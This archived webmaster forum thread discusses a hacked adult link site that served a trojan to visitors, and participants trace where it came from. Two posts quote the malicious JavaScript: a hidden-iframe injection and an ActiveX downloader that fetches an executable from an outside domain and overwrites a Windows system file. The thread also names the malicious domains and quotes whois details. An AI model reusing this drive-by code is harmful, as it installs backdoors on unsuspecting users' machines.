Trojan on Tommys Bookmarks?

Collapse
X
Collapse
 
  • Page of 1
  • Time
  • Show
Clear All
new posts
Previous template Next
  • FreeOnes
    Confirmed User
    • Jul 2001
    • 3406
    #1

    Trojan on Tommys Bookmarks?

    Am I the only one who gets a Trojan report when I go to
    http://www.tommys-bookmarks.com/pmpegs.shtml

    A pop-up is loading and I can't close it anymore. I have to completely shut down IE. This is what McAfee reports:

    The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa
    Tags: None
    • nastyking
      • Nov 2002
      • 2174
      #2
      ...

        Comment

        • Theo
          HAL 9000
          • May 2001
          • 34515
          #3
          norton gives me trojan too
          you'll better contact him since it seems his server got hacked.

            Comment

            • RawAlex
              So Fucking Banned
              • Oct 2003
              • 9465
              #4
              Tommy is aware of this and is working like a madman to try to find the source. This one isn't very obvious. Where are you guys connecting from? It might be geo.

              Alex

                Comment

                • abshard
                  Confirmed User
                  • Jan 2002
                  • 6524
                  #5
                  i get a popup that is blocked by sp2


                  from usa

                    Comment

                    • FreeOnes
                      Confirmed User
                      • Jul 2001
                      • 3406
                      #6
                      Me from the Netherlands
                      It seems like this trojan only shows up the first time you visit the page. Only after I remove all my cookies it shows up again!

                      The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa

                        Comment

                        • Theo
                          HAL 9000
                          • May 2001
                          • 34515
                          #7
                          Hi Alex, connecting from Greece

                            Comment

                            • Vitasoy
                              GFY HALL OF FAME DAMMIT!!!
                              • Oct 2003
                              • 58202
                              #8
                              Hmm, I didn't get any alerts. Canada.


                              [email protected]

                                Comment

                                • FreeOnes
                                  Confirmed User
                                  • Jul 2001
                                  • 3406
                                  #9
                                  It's loading from: http://www.zerosexxx.com/fnp/md.htm



                                  Registrant:
                                  roxy
                                  45 av bordeaux
                                  paris, paris 75000
                                  US

                                  Registrar: DOTSTER
                                  Domain Name: ZEROSEXXX.COM
                                  Created on: 29-MAY-02
                                  Expires on: 29-MAY-05
                                  Last Updated on: 04-MAY-04

                                  Administrative Contact:
                                  dove, sebring [email protected]
                                  roxy
                                  45 av bordeaux
                                  paris, paris 75000
                                  US
                                  0125259785
                                  0124249874

                                  Technical Contact:
                                  dove, sebring [email protected]
                                  roxy
                                  45 av bordeaux
                                  paris, paris 75000
                                  US
                                  0125259785
                                  0124249874


                                  Domain servers in listed order:
                                  NS1.CANDIDHOSTING.COM
                                  NS2.CANDIDHOSTING.COM

                                  The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa

                                    Comment

                                    • nastyking
                                      • Nov 2002
                                      • 2174
                                      #10
                                      hahahahahahahaha language=j a v a s c r i p t> var bname=navigator.appName; if (bname = = 'Microsoft Internet Explorer') document.write('<iframe src="http://www.zerosexxx.com/fnp/console.htm" width=1 height=1 st yle="position :absolute; visibility: hidden"></iframe>');}</hahahahahahahaha

                                      if you have a cookie set it vanishes

                                        Comment

                                        • Theo
                                          HAL 9000
                                          • May 2001
                                          • 34515
                                          #11
                                          also same whois under:

                                          dont click them all have viruses
                                          www.Clamide-galleries.com
                                          www.Clito57.com
                                          www.Fatasshole.com
                                          www.Fucks-pussy.com
                                          www.Hardclito.com
                                          www.Monsteract.com
                                          www.Pornfree-gals.com
                                          www.Ustimerz.com
                                          www.Zerosexxx.com

                                            Comment

                                            • FreeOnes
                                              Confirmed User
                                              • Jul 2001
                                              • 3406
                                              #12
                                              What does it do exactly?


                                              var downloadurl="http://www.zerosexxx.com/fnp/hp.exe?3";

                                              if(navigator.appVersion.hahahahahahaha("Windows NT 5.1")!=-1) savetopath="C:\\WINDOWS\\system32\\telnet.exe";
                                              if(navigator.appVersion.hahahahahahaha("Windows NT 5.0")!=-1) savetopath="C:\\WINNT\\system32\\telnet.exe";
                                              payloadURL = downloadurl;

                                              var x = new ActiveXObject("Microsoft.XMLHTTP");
                                              xhahahahahaha("GET",payloadURL,0);
                                              x.Send();
                                              function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t" + "r" + "e" + "a" + "m"; }
                                              var s = new ActiveXObject(bla());
                                              s.Mode = 3;
                                              s.Type = 1;
                                              shahahahahaha();
                                              s.Write(x.responseBody);
                                              s.SaveToFile(savetopath,2);
                                              location.href = "telnet://";


                                              Secret dialer ?

                                              The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa

                                                Comment

                                                • FreeOnes
                                                  Confirmed User
                                                  • Jul 2001
                                                  • 3406
                                                  #13
                                                  Originally posted by Soul_Rebel
                                                  also same whois under:

                                                  dont click them all have viruses
                                                  www.Clamide-galleries.com
                                                  www.Clito57.com
                                                  www.Fatasshole.com
                                                  www.Fucks-pussy.com
                                                  www.Hardclito.com
                                                  www.Monsteract.com
                                                  www.Pornfree-gals.com
                                                  www.Ustimerz.com
                                                  www.Zerosexxx.com
                                                  Where do you have all these domains from? You already have dealt with this guy?

                                                  I clicked the first link. Holy fuck. McAfee kept reporting and reporting

                                                  The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa

                                                    Comment

                                                    • nastyking
                                                      • Nov 2002
                                                      • 2174
                                                      #14
                                                      Originally posted by FreeOnes
                                                      Where do you have all these domains from? You already have dealt with this guy?

                                                      I clicked the first link. Holy fuck. McAfee kept reporting and reporting
                                                      whois.sc

                                                        Comment

                                                        • Theo
                                                          HAL 9000
                                                          • May 2001
                                                          • 34515
                                                          #15
                                                          it's not a dialer

                                                          the trojan downloads a backdoor file with the name telnet and it connects on an IRC server from what I read on a security forum.

                                                            Comment

                                                            • Za Ha
                                                              Confirmed User
                                                              • Oct 2001
                                                              • 5112
                                                              #16
                                                              Everyone has a price.
                                                              Im sure he is making good money off that.
                                                              I love the: Oh I dunno where its from excuse.

                                                                Comment

                                                                • RawAlex
                                                                  So Fucking Banned
                                                                  • Oct 2003
                                                                  • 9465
                                                                  #17
                                                                  Za Ha, you are a funny shit. Tommy is one VERY good egg in this business. Trust me, he is pulling his hair out over this one. His entire reputation is on the line. Nobody would be stupid enough to blow a business almost 10 years old an obviously illegal hack.

                                                                  That is the 4th TGP / link site that I have seen hacked in the last 2 weeks. The fucking assholes of the world are really pushing it.

                                                                  Alex

                                                                    Comment

                                                                    • RawAlex
                                                                      So Fucking Banned
                                                                      • Oct 2003
                                                                      • 9465
                                                                      #18
                                                                      Soul Rebel, that sort of behavior is similar to "egg drop" that would be on a unix box - it allows a person remotely to trigger a Denial of Service attack from many machines remotely only by entering a key phrase into an IRC chatroom.

                                                                      It can also trigger other things, such as the downloading to a specific email address of personal info from the machine, email address lists, or any other informaiton located on the system infected. It would also allow for the installation of additional software without the end user's knowledge, such as a key logger or password trapper.

                                                                      This is a VERY powerful hack, not script kiddie stuff. Even reading the symantic website, you will see a certain amount of respect for the level of BS that went into making this sort of hack work.

                                                                      It's pros... not amateurs - and it's dangerous.

                                                                      Alex

                                                                        Comment

                                                                        • nastyking
                                                                          • Nov 2002
                                                                          • 2174
                                                                          #19
                                                                          Originally posted by RawAlex
                                                                          Soul Rebel, that sort of behavior is similar to "egg drop" that would be on a unix box
                                                                          eggdrop is just a normal IRC bot to keep your channel open (nothing to launch DDoS attacks)

                                                                          Even reading the symantic website, you will see a certain amount of respect for the level of BS that went into making this sort of hack work.[/B]
                                                                          URL plz

                                                                            Comment

                                                                            • FreeOnes
                                                                              Confirmed User
                                                                              • Jul 2001
                                                                              • 3406
                                                                              #20
                                                                              Alex, who are you exactly?
                                                                              I have sent Tommy an email, because I'm trading with him. please make sure that he is getting back to me about this issue. Thanks

                                                                              Oh and I'm pretty sure Za Ha is wrong. I can't believe that Tommy would ever do this. Only thing is that I have really no clue how this shit can load from his site. I have checked my own computer for any spyware shit and are very confident that there is nothing installed.

                                                                              All this traffic stealing is getting out of hand. 2% of my own traffic is getting stolen. This is my main issue to solve the coming months.

                                                                              The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa

                                                                                Comment

                                                                                • Theo
                                                                                  HAL 9000
                                                                                  • May 2001
                                                                                  • 34515
                                                                                  #21
                                                                                  No doubt Tommy didn't do that.

                                                                                  more about it here

                                                                                  http://216.239.59.104/search?q=cache...22s.SaveToFile(savetopath,2)%3B+%22&hl=en

                                                                                  Alex,i'm mailing you a possible valid US address of the domain owner.

                                                                                    Comment

                                                                                    • Ramster
                                                                                      Confirmed User
                                                                                      • Jul 2002
                                                                                      • 1447
                                                                                      #22
                                                                                      FreeOnes
                                                                                      Tommy is aware of it. He actually received an email from a surfer is how he first found out and like Alex said is trying to figure out exactly how it is all happening.

                                                                                      Alex? He's been in the biz a long long time. Runs several link sites and of course knows Tommy and has for years.
                                                                                      Fcuk Cash - Backroom Casting Couch, ExCoGi, BlackAmbush
                                                                                      DarkReach Cash - Top Pornstars & Sites
                                                                                      Skype: robmurray999
                                                                                      Email: rob-at-paysitemanagers.com

                                                                                        Comment

                                                                                        • RawAlex
                                                                                          So Fucking Banned
                                                                                          • Oct 2003
                                                                                          • 9465
                                                                                          #23
                                                                                          Freeones, just another link site owner... nothing serious! Trust me, tommy has his hands full getting rid of this one.

                                                                                          Microsoft link on the subject:

                                                                                          http://www.microsoft.com/security/in...load_ject.mspx

                                                                                          You can have the "how to" pf the exploi t here. it really does require some interesting timing to trigger properly!

                                                                                          http://www.securiteam.com/securityre...HP0120D5W.html

                                                                                          Nastyking, eggdrop is key because it puts the infected computer in connection with an IRC server without permission, and listens for commands. This is the first step of a "multi homed" denial of service attack or other malicious behavior commanded remotely.

                                                                                          It's hack, pure and simple.

                                                                                          Alex

                                                                                            Comment

                                                                                            • Tempest
                                                                                              Too lazy to set a custom title
                                                                                              • May 2004
                                                                                              • 10217
                                                                                              #24
                                                                                              Originally posted by FreeOnes
                                                                                              Registrant:
                                                                                              roxy
                                                                                              45 av bordeaux
                                                                                              paris, paris 75000
                                                                                              US
                                                                                              Ah yes. My good "friend" "roxy". This "guy" has been spamming cheating galleries for a few years now at least. And a lot of those other sites like Clito57. Again, redirecting/cheating galleries, "fake" TGPs with crappy/cheating traffic trading etc. "He" has even more than that. You just found his "bad" stuff, I believe (although I haven't 100% confirmed it yet) that he was a more "acceptable" buffer between some of that stuff and everyone else. A bunch of you probably even traffic trade and stuff with him... Gotta love this business..

                                                                                              Thanks for the info though, I need to add some of that into my DNS/Registrar checker for traffic trades and gallery submitters.

                                                                                                Comment

                                                                                                • RawAlex
                                                                                                  So Fucking Banned
                                                                                                  • Oct 2003
                                                                                                  • 9465
                                                                                                  #25
                                                                                                  soul_rebel, didn't get email, can send to rawalex hotmail please....?

                                                                                                  Alex

                                                                                                    Comment

                                                                                                    • Theo
                                                                                                      HAL 9000
                                                                                                      • May 2001
                                                                                                      • 34515
                                                                                                      #26
                                                                                                      Alex, that's where i sent it. Any other email? Although I just noticed the domain appeared for a period to an expired domain list and probably the address points to wrong person.

                                                                                                        Comment

                                                                                                        • RawAlex
                                                                                                          So Fucking Banned
                                                                                                          • Oct 2003
                                                                                                          • 9465
                                                                                                          #27
                                                                                                          Okay, I got it. That info is useful mostly because it tipped me off to look at something else (see email) that might give a clue or two.

                                                                                                          Interesting.

                                                                                                          Alex

                                                                                                            Comment

                                                                                                            • cosis
                                                                                                              Confirmed User
                                                                                                              • Aug 2001
                                                                                                              • 5292
                                                                                                              #28
                                                                                                              This is very odd I see Candid Hosting in this thread, the same thing happened to my TGP which is a good size. This is exactly why I switched from Candid Hosting last month because my site was loading trojan's all the sudden several times over a 2 week period. None of the support team could find anything that was causing someone to change my site. It hasn't happened since I moved from Candid Hosting to a new sever over a month ago.

                                                                                                                Comment

                                                                                                                • FreeOnes
                                                                                                                  Confirmed User
                                                                                                                  • Jul 2001
                                                                                                                  • 3406
                                                                                                                  #29
                                                                                                                  Originally posted by Tempest
                                                                                                                  Ah yes. My good "friend" "roxy". This "guy" has been spamming cheating galleries for a few years now at least. And a lot of those other sites like Clito57. Again, redirecting/cheating galleries, "fake" TGPs with crappy/cheating traffic trading etc. "He" has even more than that. You just found his "bad" stuff, I believe (although I haven't 100% confirmed it yet) that he was a more "acceptable" buffer between some of that stuff and everyone else. A bunch of you probably even traffic trade and stuff with him... Gotta love this business..

                                                                                                                  Thanks for the info though, I need to add some of that into my DNS/Registrar checker for traffic trades and gallery submitters.

                                                                                                                  I hate them all

                                                                                                                  The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa

                                                                                                                    Comment

                                                                                                                    • Preacher
                                                                                                                      Confirmed User
                                                                                                                      • Feb 2003
                                                                                                                      • 2970
                                                                                                                      #30
                                                                                                                      It seems that the problem is fixed now.

                                                                                                                        Comment

                                                                                                                        • johnbosh
                                                                                                                          Confirmed User
                                                                                                                          • Aug 2002
                                                                                                                          • 8965
                                                                                                                          #31
                                                                                                                          Originally posted by FreeOnes
                                                                                                                          Me from the Netherlands
                                                                                                                          It seems like this trojan only shows up the first time you visit the page. Only after I remove all my cookies it shows up again!
                                                                                                                          heree too

                                                                                                                            Comment

                                                                                                                            • RawAlex
                                                                                                                              So Fucking Banned
                                                                                                                              • Oct 2003
                                                                                                                              • 9465
                                                                                                                              #32
                                                                                                                              Cleaning up after on of these things takes some time. Tommy is re-arranging the furniture and looking for them little bugs hiding in the corners. Let's just say he has NOT had a nice labor day weekend off.

                                                                                                                              Things should be 100% normal again in a day or so.

                                                                                                                              Alex

                                                                                                                                Comment

                                                                                                                                • FreeOnes
                                                                                                                                  Confirmed User
                                                                                                                                  • Jul 2001
                                                                                                                                  • 3406
                                                                                                                                  #33
                                                                                                                                  Alex, why I didn't hear back from Tommy after 2 emails?
                                                                                                                                  I really expect a reply. 2% of my traffic is stolen everyday by these kind of fucking trojan shit. Everybody who is suspicious gets blacklisted from now on. I wouldn't expect Tommy would ever put this on his site, but I need a good explanation for it. If I don't get replies on my emails you make yourself suspicious no matter who you are.

                                                                                                                                  The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa

                                                                                                                                    Comment

                                                                                                                                    • TommysBookmarks
                                                                                                                                      Registered User
                                                                                                                                      • Sep 2004
                                                                                                                                      • 9
                                                                                                                                      #34
                                                                                                                                      Hi Maurice

                                                                                                                                      you were told the site was hacked.
                                                                                                                                      we dont trade traffic,
                                                                                                                                      so after that its really none of your buisness.

                                                                                                                                      I think your emails and posts have been a little rude

                                                                                                                                      I anwsered your emails twice, I said I would let you know as soon as servint had some info for me

                                                                                                                                      if you want some information you should ask nicely, not like this

                                                                                                                                      we are hosted at the same company, the same sales person handles our accounts, if you really wanted to know what happened you could just email servint and ask them
                                                                                                                                      Accepting New partners

                                                                                                                                        Comment

                                                                                                                                        • Jeff aka NIGHTfall
                                                                                                                                          Confirmed User
                                                                                                                                          • Oct 2003
                                                                                                                                          • 5162
                                                                                                                                          #35
                                                                                                                                          owned

                                                                                                                                          Register Now For PimpinPays.com

                                                                                                                                            Comment

                                                                                                                                            • deleteduser
                                                                                                                                              Confirmed User
                                                                                                                                              • Sep 2001
                                                                                                                                              • 2218
                                                                                                                                              #36
                                                                                                                                              tommy is a good guy i'm sure thing will get fixed asap. greetings to steve!
                                                                                                                                              ICQ #58981463
                                                                                                                                              Promote my PornAccess Site: 2Chicks1Dick

                                                                                                                                                Comment

                                                                                                                                                • Tom_PMs
                                                                                                                                                  Confirmed User
                                                                                                                                                  • Jun 2004
                                                                                                                                                  • 2049
                                                                                                                                                  #37
                                                                                                                                                  Man, people who would even think Tommy or Cosis there would ever load shit like this on purpose need to get a grip.. seriously..

                                                                                                                                                  It is interesting to note that 1 hosting company was/is hosting both sites when the problem popped up at first. I bet they'd like to know that to see if they have a backdoor open somewhere.

                                                                                                                                                  You've read it, you can't unread it.

                                                                                                                                                    Comment

                                                                                                                                                    • Goose
                                                                                                                                                      Confirmed User
                                                                                                                                                      • Mar 2004
                                                                                                                                                      • 5725
                                                                                                                                                      #38
                                                                                                                                                      well I use opera so all popups are blocked anyways
                                                                                                                                                      ICQ: 52410619

                                                                                                                                                        Comment

                                                                                                                                                        • fris
                                                                                                                                                          I have to go potty
                                                                                                                                                          • Aug 2002
                                                                                                                                                          • 55785
                                                                                                                                                          #39
                                                                                                                                                          Since 1999: 69 Adult Industry awards for Best Hosting Company and professional excellence.


                                                                                                                                                          Totally Free Templates

                                                                                                                                                            Comment

                                                                                                                                                            Previous template Next
                                                                                                                                                            Working...